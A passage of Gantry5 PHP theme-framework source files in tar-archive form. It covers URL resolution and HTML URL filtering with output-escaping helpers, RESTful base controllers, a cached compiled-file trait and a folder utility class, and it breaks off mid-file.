        }
    }

    /**
     * @param $framework
     * @return bool
     * @deprecated 5.3
     */
    public static function load($framework)
    {
        return static::addFramework($framework);
    }

    /**
     * Register assets.
     */
    public static function registerAssets()
    {
        static::registerFrameworks();
    }

    public static function siteUrl()
    {
        return static::rootUri();
    }

    /**
     * NOTE: In PHP this function can be called either from Gantry DI
container or statically.
     *
     * @return string
     */
    public static function rootUri()
    {
        return '';
    }

    /**
     * NOTE: In PHP this function can be called either from Gantry DI
container or statically.
     *
     * @param bool $addDomain
     * @return string
     */
    public static function domain($addDomain = false)
    {
        return '';
    }

    /**
     * Return URL to the resource.
     *
     * @example {{
url('gantry-theme://images/logo.png')|default('http://www.placehold.it/150x100/f4f4f4')
}}
     *
     * NOTE: In PHP this function can be called either from Gantry DI
container or statically.
     *
     * @param  string $url         Resource to be located.
     * @param  bool $domain        True to include domain name.
     * @param  int $timestamp_age  Append timestamp to files that are less
than x seconds old. Defaults to a week.
     *                             Use value <= 0 to disable the
feature.
     * @param  bool $allowNull     True if non-existing files should return
null.
     * @return string|null         Returns url to the resource or null if
resource was not found.
     */
    public static function url($url, $domain = false, $timestamp_age =
null, $allowNull = true)
    {
        if (!is_string($url) || $url === '') {
            // Return null on invalid input.
            return null;
        }

        if ($url[0] === '#' || $url[0] === '?') {
            // Handle urls with query string or fragment only.
            return str_replace(' ', '%20', $url);
        }

        $parts = Url::parse($url);

        if (!is_array($parts)) {
            // URL could not be parsed.
            return $allowNull ? null : str_replace(' ',
'%20', $url);
        }

        // Make sure we always have scheme, host, port and path.
        $scheme = isset($parts['scheme']) ?
$parts['scheme'] : '';
        $host = isset($parts['host']) ? $parts['host']
: '';
        $port = isset($parts['port']) ? $parts['port']
: '';
        $path = isset($parts['path']) ? $parts['path']
: '';

        if ($scheme && !$port) {
            // If URL has a scheme, we need to check if it's one of
Gantry streams.
            $gantry = static::gantry();

            /** @var UniformResourceLocator $locator */
            $locator = $gantry['locator'];

            if (!$locator->schemeExists($scheme)) {
                // If scheme does not exists as a stream, assume it's
external.
                return str_replace(' ', '%20', $url);
            }

            // Attempt to find the resource (because of parse_url() we need
to put host back to path).
            $newPath =
$locator->findResource("{$scheme}://{$host}{$path}", false);

            if ($newPath === false) {
                if ($allowNull) {
                    return null;
                }

                // Return location where the file would be if it was saved.
                $path =
$locator->findResource("{$scheme}://{$host}{$path}", false,
true);
            } else {
                $path = $newPath;
            }

        } elseif ($host || $port) {
            // If URL doesn't have scheme but has host or port, it is
external.
            return str_replace(' ', '%20', $url);
        }

        // At this point URL is either relative or absolute path; let us
find if it is relative and not . or ..
        if ($path && '/' !== $path[0] &&
'.' !== $path[0]) {
            if ($timestamp_age === null) {
                $timestamp_age = static::$timestamp_age;
            }
            if ($timestamp_age > 0) {
                // We want to add timestamp to the URI: do it only for
existing files.
                $realPath = @realpath(GANTRY5_ROOT . '/' .
$path);
                if ($realPath && is_file($realPath)) {
                    $time = filemtime($realPath);
                    // Only append timestamp for files that are less than
the maximum age.
                    if ($time > time() - $timestamp_age) {
                        $parts['query'] =
(!empty($parts['query']) ?
"{$parts['query']}&" : '') .
sprintf('%x', $time);
                    }
                }
            }

            // We need absolute URI instead of relative.
            $path = rtrim(static::rootUri(), '/') . '/'
. $path;
        }

        // Set absolute URI.
        $uri = $path;

        // Add query string back.
        if (!empty($parts['query'])) {
            if (!$uri) $uri = static::rootUri();
            $uri .= '?' . $parts['query'];
        }

        // Add fragment back.
        if (!empty($parts['fragment'])) {
            if (!$uri) $uri = static::rootUri();
            $uri .= '#' . $parts['fragment'];
        }

        return static::domain($domain) . str_replace(' ',
'%20', $uri);
    }

    /**
     * Filter stream URLs from HTML.
     *
     * @param  string $html         HTML input to be filtered.
     * @param  bool $domain         True to include domain name.
     * @param  int $timestamp_age   Append timestamp to files that are less
than x seconds old. Defaults to a week.
     *                              Use value <= 0 to disable the
feature.
     * @param  bool $streamOnly     Only touch streams.
     * @return string               Returns modified HTML.
     */
    public static function urlFilter($html, $domain = false, $timestamp_age
= null, $streamOnly = false)
    {
        static::$urlFilterParams = [$domain, $timestamp_age, $streamOnly];

        // Tokenize all PRE, CODE and SCRIPT tags to avoid modifying any
src|href|url in them
        $tokens = [];

        $html =
preg_replace_callback('#<(pre|code|script)(\s[^>]+)?>.*?</\\1>#ius',
function($matches) use (&$tokens) {
            // Unfortunately uniqid() doesn't quite work in Windows,
so we need to work it around by adding some randomness.
            $token = '@@'. uniqid(mt_rand(), true) .
'@@';
            $match = $matches[0];

            $tokens[$token] = $match;

            return $token;
        }, $html);

        if ($streamOnly) {
            $gantry = static::gantry();

            /** @var UniformResourceLocator $locator */
            $locator = $gantry['locator'];
            $schemes = $locator->getSchemes();

            $list = [];
            foreach ($schemes as $scheme) {
                if (strpos($scheme, 'gantry-') === 0) {
                    $list[] = substr($scheme, 7);
                }
            }
            if (empty($list)) {
                return $html;
            }

            $match = '(gantry-(' . implode('|', $list).
')://.*?)';
        } else {
            $match = '(.*?)';
        }

        $html = preg_replace_callback('^(\s)(src|href)="' .
$match . '"^u', 'static::linkHandler', $html);
        $html = preg_replace_callback('^(\s)url\(' . $match .
'\)^u', 'static::urlHandler', $html);
        $html = static::replaceTokens($tokens, $html);

        return $html;
    }

    /**
     * @param array $matches
     * @return string
     * @internal
     */
    public static function linkHandler(array $matches)
    {
        list($domain, $timestamp_age) = static::$urlFilterParams;
        $url = trim($matches[3]);
        $url = static::url($url, $domain, $timestamp_age, false);

        return "{$matches[1]}{$matches[2]}=\"{$url}\"";
    }

    /**
     * @param array $matches
     * @return string
     * @internal
     */
    public static function urlHandler(array $matches)
    {
        list($domain, $timestamp_age) = static::$urlFilterParams;
        $url = trim($matches[2], '"\'');
        $url = static::url($url, $domain, $timestamp_age, false);

        return "{$matches[1]}url({$url})";
    }

    /**
     * This function is adapted from code coming from Twig.
     *
     * @param array $matches
     * @return string
     * @internal
     */
    public static function _escape_js_callback($matches)
    {
        $char = $matches[0];

        /*
         * A few characters have short escape sequences in JSON and
JavaScript.
         * Escape sequences supported only by JavaScript, not JSON, are
ommitted.
         * \" is also supported but omitted, because the resulting
string is not HTML safe.
         */
        static $shortMap = [
            '\\' => '\\\\',
            '/' => '\\/',
            "\x08" => '\b',
            "\x0C" => '\f',
            "\x0A" => '\n',
            "\x0D" => '\r',
            "\x09" => '\t',
        ];

        if (isset($shortMap[$char])) {
            return $shortMap[$char];
        }

        // \uHHHH
        $char = static::convert_encoding($char, 'UTF-16BE',
'UTF-8');
        $char = strtoupper(bin2hex($char));

        if (4 >= \strlen($char)) {
            return sprintf('\u%04s', $char);
        }

        return sprintf('\u%04s\u%04s', substr($char, 0, -4),
substr($char, -4));
    }

    /**
     * This function is adapted from code coming from Twig.
     *
     * @param $matches
     * @return string
     * @internal
     */
    public static function _escape_css_callback($matches)
    {
        $char = $matches[0];

        return sprintf('\\%X ', 1 === \strlen($char) ?
\ord($char) : static::ord($char));
    }

    /**
     * This function is adapted from code coming from Twig and Zend
Framework.
     *
     * @param array $matches
     * @return string
     *
     * @copyright Copyright (c) 2005-2012 Zend Technologies USA Inc.
(https://www.zend.com)
     * @license   https://framework.zend.com/license/new-bsd New BSD
License
     * @internal
     */
    public static function _escape_html_attr_callback($matches)
    {
        $chr = $matches[0];
        $ord = \ord($chr);

        /*
         * The following replaces characters undefined in HTML with the
         * hex entity for the Unicode replacement character.
         */
        if (($ord <= 0x1f && "\t" !== $chr &&
"\n" !== $chr && "\r" !== $chr) || ($ord >=
0x7f && $ord <= 0x9f)) {
            return '&#xFFFD;';
        }

        /*
         * Check if the current character to escape has a name entity we
should
         * replace it with while grabbing the hex value of the character.
         */
        if (1 === \strlen($chr)) {
            /*
             * While HTML supports far more named entities, the lowest
common denominator
             * has become HTML5's XML Serialisation which is
restricted to the those named
             * entities that XML supports. Using HTML entities would result
in this error:
             *     XML Parsing Error: undefined entity
             */
            static $entityMap = [
                34 => '&quot;', /* quotation mark */
                38 => '&amp;',  /* ampersand */
                60 => '&lt;',   /* less-than sign */
                62 => '&gt;',   /* greater-than sign */
            ];

            if (isset($entityMap[$ord])) {
                return $entityMap[$ord];
            }

            return sprintf('&#x%02X;', $ord);
        }

        /*
         * Per OWASP recommendations, we'll use hex entities for any
other
         * characters where a named entity does not exist.
         */
        return sprintf('&#x%04X;', static::ord($chr));
    }

    /**
     * Replace tokens with strings.
     *
     * @param array $tokens
     * @param $html
     * @return string|NUll
     */
    protected static function replaceTokens(array $tokens, $html)
    {
        foreach ($tokens as $token => $replacement) {
            // We need to use callbacks to turn off backreferences ($1,
\\1) in the replacement string.
            $callback = function() use ($replacement) { return
$replacement; };

            $html = preg_replace_callback('#' .
preg_quote($token, '#') . '#u', $callback, $html);
        }

        return $html;
    }

    /**
     * Register loaded frameworks.
     */
    protected static function registerFrameworks()
    {
        foreach (static::$stack[0]->getFrameworks() as $framework) {
            if (isset(static::$availableFrameworks[$framework])) {
                call_user_func([get_called_class(),
static::$availableFrameworks[$framework]]);
            }
        }
    }

    protected static function registerJquery()
    {
        static::addScript(
            [
                'src' =>
'https://code.jquery.com/jquery-2.2.2.min.js',
                'integrity' =>
'sha256-36cp2Co+/62rEAAYHLmRCPIych47CvdM+uTBJwSzWjI=',
                'crossorigin' => 'anonymous'
            ],
            11
        );
    }

    protected static function registerJqueryUiSortable()
    {
        static::registerJquery();

        static::addScript(
            [
                'src' =>
'https://code.jquery.com/ui/1.11.4/jquery-ui.min.js',
                'integrity' =>
'sha256-xNjb53/rY+WmG+4L6tTl9m6PpqknWZvRt0rO1SRnJzw=',
                'crossorigin' => 'anonymous'
            ],
            11
        );
    }

    protected static function registerBootstrap2()
    {
        static::registerJquery();

        static::addScript(['src' =>
'https://maxcdn.bootstrapcdn.com/twitter-bootstrap/2.3.2/js/bootstrap.min.js'],
11);
    }

    protected static function registerBootstrap3()
    {
        static::registerJquery();

        static::addScript(['src' =>
'https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js'],
11);
    }

    protected static function registerMootools()
    {
        static::addScript(['src' =>
'https://cdnjs.cloudflare.com/ajax/libs/mootools/1.5.2/mootools-core-compat.min.js'],
11);
    }

    protected static function registerMootoolsMore()
    {
        static::registerMootools();

        static::addScript(['src' =>
'https://cdnjs.cloudflare.com/ajax/libs/mootools-more/1.5.2/mootools-more-compat-compressed.js'],
11);
    }

    protected static function registerLightcase()
    {
        static::registerJquery();

        static::addScript(['src' =>
static::url('gantry-assets://js/lightcase.js', false, null,
false)], 11, 'footer');
        static::addStyle(['href' =>
static::url('gantry-assets://css/lightcase.css', false, null,
false)], 11);
    }

    protected static function registerLightcaseInit()
    {
        static::registerLightcase();

        static::addInlineScript(['content' =>
"jQuery(document).ready(function($) {
jQuery('[data-rel^=lightcase]').lightcase({maxWidth:
'100%', maxHeight: '100%', video: {width:
'1280', height: '720'}}); });"], 0,
'footer');
    }

    protected static function getObject()
    {
        static $object;

        if (!$object) {
            // We need to initialize document for backwards compatibility
(RokSprocket/RokGallery in WP).
            $object = Gantry::instance()['document'];
        }

        return $object;
    }

    /**
     * @param string $string
     * @param string $to
     * @param string $from
     * @return false|string|string[]|null
     * @internal
     */
    private static function convert_encoding($string, $to, $from)
    {
        if (\function_exists('mb_convert_encoding')) {
            return mb_convert_encoding($string, $to, $from);
        }
        if (\function_exists('iconv')) {
            return iconv($from, $to, $string);
        }

        throw new \RuntimeException('No suitable convert encoding
function (use UTF-8 as your encoding or install the iconv or mbstring
extension).');
    }

    /**
     * @param string $string
     * @return false|int|mixed
     * @internal
     */
    private static function ord($string)
    {
        if (\function_exists('mb_ord')) {
            return mb_ord($string, 'UTF-8');
        }

        $code = ($string = unpack('C*', substr($string, 0, 4))) ?
$string[1] : 0;
        if (0xF0 <= $code) {
            return (($code - 0xF0) << 18) + (($string[2] - 0x80)
<< 12) + (($string[3] - 0x80) << 6) + $string[4] - 0x80;
        }
        if (0xE0 <= $code) {
            return (($code - 0xE0) << 12) + (($string[2] - 0x80)
<< 6) + $string[3] - 0x80;
        }
        if (0xC0 <= $code) {
            return (($code - 0xC0) << 6) + $string[2] - 0x80;
        }

        return $code;
    }
}
Gantry/Component/Controller/BaseController.php000064400000014771151157471010015540
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Controller;

use Gantry\Framework\Request;
use RocketTheme\Toolbox\DI\Container;
use RuntimeException;

abstract class BaseController implements RestfulControllerInterface
{
    /**
     * @var string Default HTTP method.
     */
    protected $method = 'GET';

    /**
     * @var Request
     */
    protected $request;

    /**
     * @var array List of HTTP verbs and their actions.
     */
    protected $httpVerbs = [
        'GET' => [
            '/'         => 'index',
            '/create'   => 'create',
            '/*'        => 'display',
            '/*/edit'   => 'edit'
        ],
        'POST' => [
            '/'  => 'store'
        ],
        'PUT' => [
            '/*' => 'replace'
        ],
        'PATCH' => [
            '/*' => 'update'
        ],
        'DELETE' => [
            '/*' => 'destroy'
        ]
    ];

    /**
     * @var array Parameters from router.
     */
    protected $params = [];

    /**
     * @var Container
     */
    protected $container;

    public function __construct(Container $container)
    {
        $this->container = $container;
        $this->request = $container['request'];
    }

    /**
     * Execute controller.
     *
     * @param string $method
     * @param array $path
     * @param array $params
     * @return mixed
     * @throws \RuntimeException
     */
    public function execute($method, array $path, array $params)
    {
        $this->method = $method;
        $this->setParams($params);
        list($action, $path) = $this->resolveHttpVerb($method, $path);

        if (!method_exists($this, $action)) {
            $action = 'undefined';
        }

        return call_user_func_array([$this, $action], $path);
    }

    /**
     * Set router parameters. Replaces the old parameters.
     *
     * @param array $params
     * @return $this
     */
    public function setParams(array $params)
    {
        $this->params = $params;

        return $this;
    }

    /**
     * @example GET /resources
     *
     * @return mixed
     */
    public function index()
    {
        return $this->undefined();
    }

    /**
     * @example GET /resources/:id
     *
     * @param string $id
     * @return mixed
     */
    public function display($id)
    {
        return $this->undefined();
    }

    /**
     * Special sub-resource to create a new resource (returns a form).
     *
     * @example GET /resources/create
     *
     * @return mixed
     */
    public function create()
    {
        return $this->undefined();
    }

    /**
     * Special sub-resource to edit existing resource (returns a form).
     *
     * @example GET /resources/:id/edit
     *
     * @param string $id
     * @return mixed
     */
    public function edit($id)
    {
        return $this->undefined();
    }

    /**
     * @example POST /resources
     *
     * @return mixed
     */
    public function store()
    {
        return $this->undefined();
    }

    /**
     * @example PUT /resources/:id
     *
     * @param string $id
     * @return mixed
     */
    public function replace($id)
    {
        return $this->undefined();
    }

    /**
     * @example PATCH /resources/:id
     *
     * @param string $id
     * @return mixed
     */
    public function update($id)
    {
        return $this->undefined();
    }

    /**
     * @example DELETE /resources/:id
     *
     * @param string $id
     * @return mixed
     */
    public function destroy($id)
    {
        return $this->undefined();
    }

    /**
     * Catch all action for all undefined actions.
     *
     * @return mixed
     * @throws RuntimeException
     */
    public function undefined()
    {
        if (in_array($this->method, ['HEAD',
'GET'])) {
            throw new RuntimeException('Page Not Found', 404);
        }

        throw new RuntimeException('Invalid Action', 405);
    }

    /**
     * Catch all action for forbidden actions.
     *
     * @return mixed
     * @throws RuntimeException
     */
    public function forbidden()
    {
        throw new RuntimeException('Forbidden', 403);
    }

    /**
     * Load resource.
     *
     * Function throws an exception if resource does not exist.
     *
     * @param string|int $id
     * @throws \RuntimeException
     */
    protected function loadResource($id)
    {
        throw new RuntimeException('Resource Not Found', 404);
    }

    /**
     * Resolve HTTP verb.
     *
     * @param string $method
     * @param array $items
     * @return array [function, parameters]
     */
    protected function resolveHttpVerb($method, array $items)
    {
        // HEAD has identical behavior to GET.
        $method = ($method == 'HEAD') ? 'GET' :
$method;

        if (!isset($this->httpVerbs[$method])) {
            // HTTP method is not defined.
            return ['undefined', $items];
        }

        $path = '';
        $remaining = $items;
        $variables = [];
        $actions = $this->httpVerbs[$method];

        // Build path for the verb and fetch all the variables.
        while (($current = array_shift($remaining)) !== null) {
            $test = "{$path}/{$current}";

            if (!isset($actions[$test])) {
                // Specific path not found, check if we have a variable.
                $test = "{$path}/*";

                if (isset($actions[$test])) {
                    // Variable found, save the value and move on.
                    $variables[] = $current;

                } elseif (isset($actions[$test . '*'])) {
                    // Wildcard found, pass through rest of the variables.
                    $path = $test . '*';
                    $variables = array_merge($variables, [$current],
$remaining);
                    break;

                } else {
                    // No matches; we are done here.
                    return ['undefined', $items];
                }
            }

            // Path was found.
            $path = $test;
        }

        // No matching path; check if we have verb for the root.
        if (!$path && isset($actions['/'])) {
            $path = '/';
        }

        // Get the action.
        $action = $path ? $actions[$path] : 'undefined';

        return [$action, $variables];
    }
}
Gantry/Component/Controller/HtmlController.php000064400000002060151157471010015556
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Controller;

use Gantry\Component\Response\HtmlResponse;
use Gantry\Component\Response\Response;

abstract class HtmlController extends BaseController
{
    /**
     * Execute controller and returns Response object, defaulting to
HtmlResponse.
     *
     * @param string $method
     * @param array $path
     * @param array $params
     * @return mixed
     * @throws \RuntimeException
     */
    public function execute($method, array $path, array $params)
    {
        $response = parent::execute($method, $path, $params);

        if (!$response instanceof Response) {
            $response = new HtmlResponse($response);
        }

        return $response;
    }
}
Gantry/Component/Controller/JsonController.php000064400000001764151157471010015575
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Controller;

use Gantry\Component\Response\JsonResponse;

abstract class JsonController extends BaseController
{
    /**
     * Execute controller and returns JsonResponse object.
     *
     * @param string $method
     * @param array $path
     * @param array $params
     * @return mixed
     * @throws \RuntimeException
     */
    public function execute($method, array $path, array $params)
    {
        $response = parent::execute($method, $path, $params);

        if (!$response instanceof JsonResponse) {
            $response = new JsonResponse($response);
        }

        return $response;
    }
}
Gantry/Component/Controller/RestfulControllerInterface.php000064400000003141151157471010020120
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Controller;

interface RestfulControllerInterface
{
    /**
     * @example GET /resources
     *
     * @return mixed
     */
    public function index();

    /**
     * @example GET /resources/:id
     *
     * @param string $id
     * @return mixed
     */
    public function display($id);

    /**
     * Special sub-resource to create a new resource (returns a form).
     *
     * @example GET /resources/create
     *
     * @return mixed
     */
    public function create();

    /**
     * Special sub-resource to edit existing resource (returns a form).
     *
     * @example GET /resources/:id/edit
     *
     * @param string $id
     * @return mixed
     */
    public function edit($id);

    /**
     * @example POST /resources
     *
     * @return mixed
     */
    public function store();

    /**
     * @example PUT /resources/:id
     *
     * @param string $id
     * @return mixed
     */
    public function replace($id);

    /**
     * @example PATCH /resources/:id
     *
     * @param string $id
     * @return mixed
     */
    public function update($id);

    /**
     * @example DELETE /resources/:id
     *
     * @param string $id
     * @return mixed
     */
    public function destroy($id);
}
Gantry/Component/File/CompiledFile.php000064400000007774151157471010013717
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\File;

use RocketTheme\Toolbox\File\PhpFile;

/**
 * Class CompiledFile
 * @package Grav\Common\File
 *
 * @property string $filename
 * @property string $extension
 * @property string $raw
 * @property array|string $content
 */
trait CompiledFile
{
    protected $cachePath;
    protected $caching = true;

    /**
     * @param string $path
     * @return $this
     */
    public function setCachePath($path)
    {
        $this->cachePath = $path;

        return $this;
    }

    public function caching($enabled = null)
    {
        if (null !== $enabled) {
            $this->caching = (bool) $enabled;
        }

        return $this->caching;
    }

    /**
     * Get/set parsed file contents.
     *
     * @param mixed $var
     * @return string
     * @throws \BadMethodCallException
     */
    public function content($var = null)
    {
        if (!$this->cachePath) {
            throw new \BadMethodCallException("Cache path not defined
for compiled file ({$this->filename})!");
        }

        try {
            // If nothing has been loaded, attempt to get pre-compiled
version of the file first.
            if ($var === null && $this->raw === null &&
$this->content === null) {
                $modified = $this->modified();

                if (!$modified || !$this->caching) {
                    return $this->decode($this->raw());
                }

                $key = md5($this->filename);
                $file = PhpFile::instance($this->cachePath .
"/{$key}{$this->extension}.php");

                $class = get_class($this);

                $cache = $file->exists() ? $file->content() : null;

                // Load real file if cache isn't up to date (or is
invalid).
                if (!isset($cache['@class'])
                    || $cache['@class'] != $class
                    || $cache['modified'] != $modified
                    || $cache['filename'] != $this->filename
                ) {
                    // Attempt to lock the file for writing.
                    try {
                        $file->lock(false);
                    } catch (\Exception $e) {
                        // Another process has locked the file; we will
check this in a bit.
                    }

                    // Decode RAW file into compiled array.
                    $data = $this->decode($this->raw());
                    $cache = [
                        '@class' => $class,
                        'filename' => $this->filename,
                        'modified' => $modified,
                        'data' => $data
                    ];

                    // If compiled file wasn't already locked by
another process, save it.
                    if ($file->locked() !== false) {
                        $file->save($cache);
                        $file->unlock();

                        // Compile cached file into bytecode cache
                        if
(function_exists('opcache_invalidate')) {
                            // Silence error in case if
`opcache.restrict_api` directive is set.
                            @opcache_invalidate($file->filename(),
true);
                        } elseif
(function_exists('apc_compile_file')) {
                            // PHP 5.4
                            @apc_compile_file($file->filename());
                        }
                    }
                }
                $file->free();

                $this->content = $cache['data'];
            }

        } catch (\Exception $e) {
            throw new \RuntimeException(sprintf('Failed to read %s:
%s', basename($this->filename), $e->getMessage()), 500, $e);
        }

        return parent::content($var);
    }
}
Gantry/Component/File/CompiledYamlFile.php000064400000001502151157471010014521
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\File;

use RocketTheme\Toolbox\File\YamlFile;

class CompiledYamlFile extends YamlFile
{
    use CompiledFile;

    static public $defaultCachePath;
    static public $defaultCaching = true;

    protected function __construct()
    {
        parent::__construct();

        $this->caching(static::$defaultCaching);

        if (static::$defaultCachePath) {
            $this->setCachePath(static::$defaultCachePath);
        }
    }
}
Gantry/Component/Filesystem/Folder.php000064400000025621151157471010014032
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Filesystem;

/**
 * Folder helper class.
 *
 * @author RocketTheme
 * @license MIT
 */
abstract class Folder
{
    /**
     * Recursively find the last modified time under given path.
     *
     * @param  string $path
     * @return int
     */
    public static function lastModifiedFolder($path)
    {
        $last_modified = 0;

        $directory = new \RecursiveDirectoryIterator($path,
\RecursiveDirectoryIterator::SKIP_DOTS);
        $iterator = new \RecursiveIteratorIterator($directory,
\RecursiveIteratorIterator::SELF_FIRST);

        /** @var \RecursiveDirectoryIterator $file */
        foreach ($iterator as $file) {
            $dir_modified = $file->getMTime();
            if ($dir_modified > $last_modified) {
                $last_modified = $dir_modified;
            }
        }

        return $last_modified;
    }

    /**
     * Get relative path between target and base path. If path isn't
relative, return full path.
     *
     * @param  string  $path
     * @param  string  $base
     * @return string
     */
    public static function getRelativePath($path, $base = GANTRY5_ROOT)
    {
        $base = preg_replace('![\\\/]+!', '/', $base);
        $path = preg_replace('![\\\/]+!', '/', $path);
        if (strpos($path, $base) === 0) {
            $path = ltrim(substr($path, strlen($base)), '/');
        }

        return $path;
    }

    /**
     * Get relative path between target and base path. If path isn't
relative, return full path.
     *
     * @param  string  $path
     * @param  string  $base
     * @return string
     */
    public static function getRelativePathDotDot($path, $base)
    {
        $base = preg_replace('![\\\/]+!', '/', $base);
        $path = preg_replace('![\\\/]+!', '/', $path);

        if ($path === $base) {
            return '';
        }

        $baseParts = explode('/', isset($base[0]) &&
'/' === $base[0] ? substr($base, 1) : $base);
        $pathParts = explode('/', isset($path[0]) &&
'/' === $path[0] ? substr($path, 1) : $path);

        array_pop($baseParts);
        $lastPart = array_pop($pathParts);
        foreach ($baseParts as $i => $directory) {
            if (isset($pathParts[$i]) && $pathParts[$i] ===
$directory) {
                unset($baseParts[$i], $pathParts[$i]);
            } else {
                break;
            }
        }
        $pathParts[] = $lastPart;
        $path = str_repeat('../', count($baseParts)) .
implode('/', $pathParts);

        return '' === $path
            || '/' === $path[0]
            || false !== ($colonPos = strpos($path, ':'))
&& ($colonPos < ($slashPos = strpos($path, '/')) ||
false === $slashPos)
            ? "./$path" : $path;
    }

    /**
     * Shift first directory out of the path.
     *
     * @param string $path
     * @return string
     */
    public static function shift(&$path)
    {
        $parts = explode('/', trim($path, '/'), 2);
        $result = array_shift($parts);
        $path = array_shift($parts);

        return $result ?: null;
    }

    /**
     * Return recursive list of all files and directories under given path.
     *
     * @param  string            $path
     * @param  array             $params
     * @return array
     * @throws \RuntimeException
     */
    public static function all($path, array $params = array())
    {
        if ($path === false) {
            throw new \RuntimeException("Path to {$path} doesn't
exist.");
        }

        $compare = isset($params['compare']) ? 'get' .
$params['compare'] : null;
        $pattern = isset($params['pattern']) ?
$params['pattern'] : null;
        $filters = isset($params['filters']) ?
$params['filters'] : null;
        $recursive = isset($params['recursive']) ?
$params['recursive'] : true;
        $levels = isset($params['levels']) ?
$params['levels'] : -1;
        $key = isset($params['key']) ? 'get' .
$params['key'] : null;
        $value = isset($params['value']) ? 'get' .
$params['value'] : ($recursive ? 'getSubPathname' :
'getFilename');
        $folders = isset($params['folders']) ?
$params['folders'] : true;
        $files = isset($params['files']) ?
$params['files'] : true;

        if ($recursive) {
            $directory = new \RecursiveDirectoryIterator($path,
                \RecursiveDirectoryIterator::SKIP_DOTS +
\FilesystemIterator::UNIX_PATHS + \FilesystemIterator::CURRENT_AS_SELF);
            $iterator = new \RecursiveIteratorIterator($directory,
\RecursiveIteratorIterator::SELF_FIRST);
            $iterator->setMaxDepth(max($levels, -1));
        } else {
            $iterator = new \FilesystemIterator($path);
        }

        $results = array();

        /** @var \RecursiveDirectoryIterator $file */
        foreach ($iterator as $file) {
            // Ignore hidden files.
            if ($file->getFilename()[0] == '.') {
                continue;
            }
            if (!$folders && $file->isDir()) {
                continue;
            }
            if (!$files && $file->isFile()) {
                continue;
            }
            if ($compare && $pattern &&
!preg_match($pattern, $file->{$compare}())) {
                continue;
            }
            $fileKey = $key ? $file->{$key}() : null;
            $filePath = $file->{$value}();
            if ($filters) {
                if (isset($filters['key'])) {
                    $filter = $filters['key'];
                    $pre = !empty($filters['pre-key']) ?
$filters['pre-key'] : '';
                    if (is_callable($filter)) {
                        $fileKey = $pre . call_user_func($filter,
$fileKey);
                    } else {
                        $fileKey = $pre . preg_replace($filter,
'', $fileKey);
                    }
                }
                if (isset($filters['value'])) {
                    $filter = $filters['value'];
                    if (is_callable($filter)) {
                        $filePath = call_user_func($filter, $file);
                    } else {
                        $filePath = preg_replace($filter, '',
$filePath);
                    }
                }
            }

            if ($fileKey !== null) {
                $results[$fileKey] = $filePath;
            } else {
                $results[] = $filePath;
            }
        }

        return $results;
    }

    /**
     * Recursively copy directory in filesystem.
     *
     * @param  string $source
     * @param  string $target
     * @param  string $ignore  Ignore files matching pattern (regular
expression).
     * @throws \RuntimeException
     */
    public static function copy($source, $target, $ignore = null)
    {
        $source = rtrim($source, '\\/');
        $target = rtrim($target, '\\/');

        if (!is_dir($source)) {
            throw new \RuntimeException('Cannot copy non-existing
folder.');
        }

        // Make sure that path to the target exists before copying.
        self::create($target);

        $success = true;

        // Go through all sub-directories and copy everything.
        $files = self::all($source);
        foreach ($files as $file) {
            if ($ignore && preg_match($ignore, $file)) {
                continue;
            }
            $src = $source .'/'. $file;
            $dst = $target .'/'. $file;

            if (is_dir($src)) {
                // Create current directory (if it doesn't exist).
                if (!is_dir($dst)) {
                    $success &= @mkdir($dst, 0777, true);
                }
            } else {
                // Or copy current file.
                $success &= @copy($src, $dst);
            }
        }

        if (!$success) {
            $error = error_get_last();
            throw new \RuntimeException($error['message']);
        }

        // Make sure that the change will be detected when caching.
        @touch(dirname($target));
    }

    /**
     * Move directory in filesystem.
     *
     * @param  string $source
     * @param  string $target
     * @throws \RuntimeException
     */
    public static function move($source, $target)
